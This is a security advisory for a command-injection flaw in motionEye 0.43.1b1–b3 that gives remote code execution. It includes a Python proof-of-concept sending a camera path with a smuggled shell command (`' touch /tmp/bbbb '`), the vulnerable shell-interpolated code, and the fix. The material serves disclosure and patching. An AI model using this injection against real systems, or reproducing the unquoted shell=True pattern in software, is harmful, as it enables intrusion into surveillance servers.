pysec-2025-39
Vulnerability from pysec
motionEye is an online interface for the software motion, a video surveillance program with motion detection. In versions 0.43.1b1 through 0.43.1b3, using a constructed (camera) device path with the add/add_camera motionEye web API allows an attacker with motionEye admin user credentials to execute any command within a non-interactive shell as motionEye run user, motion by default. The vulnerability has been patched with motionEye v0.43.1b4. As a workaround, apply the patch manually.

Vulnerability from github
Summary
Using a constructed (camera) device path with the config/add/add_camera motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, motion by default.

build
```sh RUN_USER="user" RUN_UID=$(id -u ${RUN_USER}) RUN_GID=$(id -g ${RUN_USER}) TIMESTAMP="$(date '+%Y%m%d-%H%M')"

reproduce
Run:
sh
docker run --rm -d -p 8765:8765 --hostname="motioneye" -v /etc/localtime:/etc/localtime:ro -v /tmp/motioneyeconfig:/etc/motioneye -v /tmp/motioneyeconfig:/var/lib/motioneye
console
bash-4.2$ docker logs ceb435eacf55 -f

configure logging to file: None

Now, run the following script to attack motionEye:
```python
import requests
import json
url = "http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18"
payload = json.dumps({
"proto": "v4l2",
"path": "' touch /tmp/bbbb '"
})
headers = {
'Content-Type': 'application/json'
}
response = requests.request("POST", url, headers=headers, data=payload)
print(response.text) ```
Discussion
It is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability ```python def list_resolutions(device): from motioneye import motionctl
device = utils.make_str(device)
if device in _resolutions_cache:
return _resolutions_cache[device]
logging.debug(f'listing resolutions of device {device}...')
resolutions = set()
output = b''
started = time.time()
cmd = f"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true"
logging.debug(f'running command "{cmd}"')
try:
output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)
except:
logging.error(f'failed to list resolutions of device "{device}"')
output = utils.make_str(output)
def call_subprocess( args, stdin=None, input=None, stdout=subprocess.PIPE, stderr=DEV_NULL, capture_output=False, shell=False, cwd=None, timeout=None, check=True, encoding='utf-8', errors=None, text=None, env=None, ) -> str: """subprocess.run wrapper to return output as a decoded string""" return subprocess.run( args, stdin=stdin, input=input, stdout=stdout, stderr=stderr, capture_output=capture_output, shell=shell, cwd=cwd, timeout=timeout, check=check, encoding=encoding, errors=errors, text=text, env=env, ).stdout.strip() ```
Impact
RCE
Patches
The vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143
Workarounds
Applying the following patch, replacing the literal single quotes in the created cmd string with a shlex.quoted input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch
